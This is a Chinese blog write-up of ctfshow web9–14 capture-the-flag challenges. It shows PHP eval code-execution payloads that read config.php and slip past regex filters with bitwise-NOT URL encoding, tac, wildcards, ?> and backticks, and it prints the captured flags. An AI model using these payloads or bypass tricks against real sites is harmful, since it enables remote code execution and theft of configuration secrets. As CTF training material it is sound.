ctfshow萌新计划web9-14(正则匹配绕过)

目录

web9

web10

web11

web12

web13

web14


web9

审一下代码,需要匹配到system|exec|highlight才会执行eval函数

先看一下当前目录下有什么

payload:?c=system('ls');

index.php是首页,我们看看config.php

payload:?c=system('cat config.php');

没有回显,看一下源码,找到flag

ctfshow{8e148a24-0ac7-4280-8bfe-f4fd4560112b}

web10

这次if语句里加了个非,即过滤掉了system|exec|highlight

用之前讲过的取反绕过,可以参考 http://t.csdnimg.cn/1p3dy

即对我们想要执行的代码进行取反,url编码,再取反

题目源代码里也有提示,flag在config.php里面

代码很简单我们直接使用在线编译工具生成payload

php 复制代码
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat config.php');
?>

构造payload:?c=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%9C%90%91%99%96%98%D1%8F%97%8F);

传入之后查看源代码

ctfshow{826e3a2b-decb-42d0-ae45-dced3337b685}

web11

才发现上一道题其实只需要对system取反绕过即可,这里才是过滤掉了cat

继续使用上一道题的payload:

或者只对system取反绕过,cat用tac代替

tac命令:反向显示文件内容,即最先显示的是最后一行,倒数第二行,倒数第三行,以此类推到最后显示原本文件的第一行内容。

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac config.php');

ctfshow{eef3eb10-069e-4c10-83c3-facc913d4dae}

web12

这里把文件名config,php也过滤了

可以使用通配符 * 或者 ? 进行模糊查询

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*');

或者:?c=(~%8C%86%8C%8B%9A%92)('tac ???fi??p??');

随便怎么敲都行

ctfshow{523f3e7f-264f-438c-a355-aafb71807094}

web13

这里把;也过滤了

使用 ?>代替

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*')?>

ctfshow{660772e4-5170-4117-98ad-43611f2af520}

web14

过滤了括号,使用反引号``代替

system用echo替换,可以参考我前面的博客http://t.csdnimg.cn/M7VNu

构造payload: ?c=echo`tac c*`?>

ctfshow{2ebfa3da-656e-42e2-b3f1-0ecd342ec6b7}

相关推荐
2401_873479409 小时前
如何利用IP查询定位识别电商刷单?4个关键指标+工具配置方案
开发语言·tcp/ip·php
aq553560010 小时前
Laravel 6.x核心特性深度解析
php·laravel
aq553560012 小时前
PHP vs Python:30秒看懂核心区别
开发语言·python·php
FreeCultureBoy13 小时前
用 phpbrew 管理 php 环境:从安装到多版本切换
后端·php
zopple14 小时前
ThinkPHP5.x与3.x核心差异解析
java·python·php
Y学院16 小时前
网络安全基础核心知识点教程
网络·web安全·php
研☆香17 小时前
聊一聊js中的正则表达式的应用
前端·javascript·正则表达式
德迅云安全-小潘18 小时前
游戏行业网络安全态势分析与应对
安全·web安全·游戏
niucloud-admin18 小时前
PHP SAAS 框架常见问题——升级框架报错
php
zopple18 小时前
Laravel 6.x核心特性全解析
php·laravel